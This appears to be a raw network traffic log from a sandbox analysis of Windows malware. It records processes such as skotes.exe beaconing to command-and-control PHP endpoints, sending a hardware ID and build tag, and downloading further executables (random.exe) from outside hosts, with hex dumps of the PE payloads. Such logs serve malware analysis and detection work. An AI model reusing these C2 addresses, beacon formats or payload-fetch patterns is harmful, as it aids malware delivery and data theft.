Dec 12, 2024 21:50:45.446589947 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:45 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 12, 2024 21:50:45.446650028 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 12, 2024 21:50:45.446682930 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 12, 2024 21:50:45.446806908 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 12, 2024 21:50:45.446841955 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 12, 2024 21:50:45.446877003 CET	672	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 12, 2024 21:50:45.447248936 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 12, 2024 21:50:45.447282076 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 12, 2024 21:50:45.447335958 CET	1236	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 12, 2024 21:50:45.447669029 CET	1236	IN	Data Raw: 4d f4 e8 72 f8 ff ff f6 85 a4 fd ff ff 10 8b 7d f4 74 35 68 88 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 33 68 80 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 1d 57 e8 58 ff ff ff 59 eb 10 6a 00 57 ff d6 85 c0 74 4b 57 Data Ascii: Mr}t5hAP$At3hAP$AtWXYjWtKWAt@PSAqSAjutuAtW_3@W_3Y_^[=lAt3@Vt$VAu3@^ujVAtVA^3^VY^
Dec 12, 2024 21:50:45.572278976 CET	1236	IN	Data Raw: 8d 4d a4 e8 d0 dd ff ff 8d 4d b0 e8 c8 dd ff ff 8b 4d fc 8b 07 89 4d f8 8d 34 08 8d 4d d4 e8 e3 f3 ff ff 8a 0e 33 db eb 14 80 f9 3d 74 1d ff 75 f4 8d 4d d4 e8 d5 f4 ff ff 43 8a 0c 1e 8a c1 88 4d f4 e8 57 e7 ff ff 84 c0 74 de 68 e9 fd 00 00 8d 45 Data Ascii: MMMM4M3=tuMCMWthEPEP^PMuZuZYY ]M M<=EMu<"t<-uulYFYuE0AFe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49997	185.215.113.206	80	6484	C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:52.522370100 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 21:50:53.881055117 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 20:50:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 12, 2024 21:50:54.645369053 CET	410	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFH Host: 185.215.113.206 Content-Length: 208 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 39 41 31 34 46 30 34 30 46 46 39 36 34 35 32 30 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="hwid"E49A14F040FF9645207------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="build"stok------JKJKJJDBKEGIECAAECFH--
Dec 12, 2024 21:50:55.117661953 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 20:50:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50003	185.215.113.43	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:55.161784887 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014522001&unit=246122658369
Dec 12, 2024 21:50:56.453723907 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50006	31.41.244.11	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:56.759063959 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 12, 2024 21:50:58.096995115 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:57 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 12, 2024 21:50:58.097018003 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:58.097035885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:58.097275972 CET	224	IN	Data Raw: 44 00 00 90 69 04 be 95 e9 d1 5b 89 c1 c1 e9 18 31 c1 69 c1 95 e9 d1 5b 69 ca 95 e9 d1 5b 31 c1 69 44 be 04 95 e9 d1 5b 89 c2 c1 ea 18 31 c2 69 c2 95 e9 d1 5b 69 d1 95 e9 d1 5b 31 c2 83 c7 02 39 fb 75 bf f6 45 e0 04 74 1d 90 69 3c be 95 e9 d1 5b Data Ascii: Di[1i[i[1iD[1i[i[19uEti<[1i[i[1E1ttu#\|D11i[11i[1;uu$U}D$MJLE
Dec 12, 2024 21:50:58.097290039 CET	1236	IN	Data Raw: eb 05 90 83 45 d0 04 8b 45 d8 83 f8 10 72 32 8d 50 01 81 fa 00 10 00 00 72 19 90 8b 4d dc 8b 41 fc 83 c1 fc 29 c1 83 f9 20 73 4a 8b 55 d8 83 c2 24 eb 03 8b 45 dc 90 52 50 e8 e4 10 00 00 83 c4 08 90 8b 45 cc 40 3b 75 0c 0f 85 b4 fd ff ff 90 8b 45 Data Ascii: EEr2PrMA) sJU$ERPE@;uEEMdH^_[]EOmfU]@U]@UM1]fff.U]@U]UWVeE
Dec 12, 2024 21:50:58.097309113 CET	1236	IN	Data Raw: 41 00 e8 c8 f8 ff ff 83 c4 08 89 45 e8 8b 55 e8 ff d2 6a 1c 68 00 e0 41 00 68 49 05 00 00 68 1c e0 41 00 e8 97 fc ff ff 83 c4 10 6a 09 68 00 60 41 00 57 56 e8 86 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 58 f0 41 00 e8 83 f8 ff ff 83 c4 08 8d 4d ec Data Ascii: AEUjhAhIhAjh`AWVh5XAMQj@hIhAuM11^_]uuVA'jhAUSWVL]eEEE"@dMdd=0w@XAhb-/5XA
Dec 12, 2024 21:50:58.097528934 CET	1236	IN	Data Raw: c5 0c 83 c4 1c 5d c3 cc cc cc cc 8b 44 24 08 83 f8 0f 74 0d 83 f8 02 75 0d 6a 00 ff 15 8c cd 41 00 31 c0 c2 10 00 ff 25 84 cd 41 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 58 90 89 65 e4 c7 45 f0 ff ff ff ff 8d 45 e8 Data Ascii: ]D$tujA1%AUSWVXeEEE"@dMdjEWEEEE@EjAEE`AEPAft(WEEjjjEPAuugEd
Dec 12, 2024 21:50:58.097546101 CET	1236	IN	Data Raw: 90 8b 55 08 89 65 e4 c7 45 f0 ff ff ff ff 8d 45 e8 c7 45 ec 20 23 40 00 64 8b 0d 00 00 00 00 89 4d e8 64 a3 00 00 00 00 89 55 e0 90 8b 4d 08 8b 01 8b 49 04 c7 45 f0 01 00 00 00 50 ff d1 83 c4 04 e8 f8 0b 00 00 90 ff 75 08 e8 52 02 00 00 83 c4 04 Data Ascii: UeEEE #@dMdUMIEPuREd1^_[]UPM3]fffff.UPu]UeEEE0#@dUdtEuEd
Dec 12, 2024 21:50:58.097879887 CET	896	IN	Data Raw: f1 33 c0 8b 4d 08 8b fe ab 8d 51 01 ab ab ab 83 66 10 00 83 66 14 00 8a 01 41 84 c0 75 f9 2b ca 51 ff 75 08 8b ce e8 75 04 00 00 5f 8b c6 5e 5d c2 04 00 55 8b ec 56 57 ff 75 08 8b f1 33 c0 8b fe ab ab ab ab 83 66 10 00 83 66 14 00 e8 08 00 00 00 Data Ascii: 3MQffAu+Quu_^]UVWu3ff_^]UVuW~vF@PVW!FGFGf_F^]UQS]WOG+M;w5V4VQwvuSuV!!^Su
Dec 12, 2024 21:50:58.097897053 CET	1236	IN	Data Raw: 08 8b c6 8b 55 0c 89 4e 0c 8b 4d fc c7 06 c4 61 41 00 33 cd 89 56 10 5e e8 74 fa ff ff c9 c2 0c 00 55 8b ec 56 8b 75 08 57 56 8b f9 e8 a3 fa ff ff c7 07 c4 61 41 00 8b 46 0c 8b 56 10 89 47 0c 8b c7 89 57 10 5f 5e 5d c2 04 00 55 8b ec 56 8b f1 8d Data Ascii: UNMaA3V^tUVuWVaAFVGW_^]UVFD`APEYtjVYY^]j [AuEMPueEPuuMaAUVuNaA^],AUQuY
Dec 12, 2024 21:50:58.219917059 CET	1236	IN	Data Raw: 2c ff ff ff 7f 75 0a c7 41 2c fe ff ff 7f 32 c0 c3 b0 01 c3 55 8b ec 51 56 6a 00 6a ff ff 75 08 ff 15 6c cd 41 00 83 f8 ff 74 32 8b 75 10 85 f6 74 16 8d 45 fc 50 ff 75 08 ff 15 b4 cc 41 00 85 c0 74 1a 8b 45 fc 89 06 ff 75 08 ff 15 48 cc 41 00 f7 Data Ascii: ,uA,2UQVjjulAt2utEPuAtEuHAjX^%AUMhAEPU$jAtjY)AAAA5A=AfAfAfAfAf%Af-AA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50017	185.215.113.43	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:51:02.529352903 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014523001&unit=246122658369
Dec 12, 2024 21:51:03.827769995 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:51:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50023	31.41.244.11	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:51:03.975790977 CET	61	OUT	GET /files/encoxx/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 12, 2024 21:51:05.294341087 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:51:05 GMT Content-Type: application/octet-stream Content-Length: 393728 Last-Modified: Thu, 12 Dec 2024 07:55:00 GMT Connection: keep-alive ETag: "675a96d4-60200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'FFFFFFFFFFFFRichFPELfebQ@$8gd0:-@.textab `.data`f@.rsrcz0<@@
Dec 12, 2024 21:51:05.294404030 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 6d 05 00 00 00 00 00 88 69 05 00 9c 69 05 00 b4 69 05 00 c8 69 05 00 e2 69 05 Data Ascii: miiiiijj*jDjXjnjjjjjjjjk k6kRkhkpikkkkkkkll(l>lRlblvlll
Dec 12, 2024 21:51:05.294435978 CET	1236	IN	Data Raw: 6c 05 00 bc 6c 05 00 cc 6c 05 00 e2 6c 05 00 f6 6c 05 00 78 6b 05 00 5c 69 05 00 90 71 05 00 80 6d 05 00 9c 6d 05 00 ba 6d 05 00 cc 6d 05 00 d8 6d 05 00 f0 6d 05 00 08 6e 05 00 1a 6e 05 00 2a 6e 05 00 38 6e 05 00 4a 6e 05 00 62 6e 05 00 76 6e 05 Data Ascii: lllllxk\iqmmmmmmnnn8nJnbnvnnnnnnnnnoo8oJoXodonoooooooopp&p2p<pHpZpppppppppqqq<q
Dec 12, 2024 21:51:05.294600964 CET	1236	IN	Data Raw: 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e Data Ascii: ndicates a bug in your application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtua
Dec 12, 2024 21:51:05.294872999 CET	1236	IN	Data Raw: 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b Data Ascii: *+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~=EEE00P('8PW700PP (`h`hhhxppwppGetProcessWindowStationGetUserObjectInformationAGetL
Dec 12, 2024 21:51:05.294909000 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: h(((( H
Dec 12, 2024 21:51:05.294946909 CET	1236	IN	Data Raw: 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~
Dec 12, 2024 21:51:05.294982910 CET	1236	IN	Data Raw: 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 Data Ascii: '`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vec
Dec 12, 2024 21:51:05.295339108 CET	448	IN	Data Raw: 00 00 00 60 2b 40 00 58 2b 40 00 4c 2b 40 00 40 2b 40 00 34 2b 40 00 28 2b 40 00 1c 2b 40 00 14 2b 40 00 08 2b 40 00 fc 2a 40 00 aa 1a 40 00 40 26 40 00 24 26 40 00 10 26 40 00 f0 25 40 00 d4 25 40 00 f4 2a 40 00 ec 2a 40 00 a8 1a 40 00 e8 2a 40 Data Ascii: `+@X+@L+@@+@4+@(+@+@+@+@@@@&@$&@&@%@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\|@x@t@p@l@h@d@`@\@X@T@P@L@@@4@,@
Dec 12, 2024 21:51:05.295375109 CET	1236	IN	Data Raw: 00 00 00 43 4f 4e 4f 55 54 24 00 31 23 51 4e 41 4e 00 00 31 23 49 4e 46 00 00 00 31 23 49 4e 44 00 00 00 31 23 53 4e 41 4e 00 00 62 61 64 20 61 6c 6c 6f 63 61 74 69 6f 6e 00 00 6c 61 74 69 78 6f 77 61 6d 65 67 6f 6e 6f 6d 61 66 6f 63 75 62 61 67 Data Ascii: CONOUT$1#QNAN1#INF1#IND1#SNANbad allocationlatixowamegonomafocubagebekernel32.dllkernel32.dll00HE
Dec 12, 2024 21:51:05.414341927 CET	1236	IN	Data Raw: 75 f8 83 3d ec 0b 46 00 0c 89 75 e8 75 18 8d 4d d0 51 6a 00 6a 00 6a 00 ff 15 b4 10 40 00 6a 00 ff 15 a0 10 40 00 8b d6 c1 ea 05 89 55 f8 8b 45 e0 01 45 f8 8b 4d ec 8b c6 c1 e0 04 03 45 d4 8d 14 31 33 c2 33 45 f8 89 45 ec 8b 45 ec 29 45 f4 81 c1 Data Ascii: u=FuuMQjjj@j@UEEME133EEE)EGamM_EMU_^P[]UQF\|FSVWv`=\@D@E=FYu4jjjjjjjjj(@jj<@jjjj@VP

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	50037	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
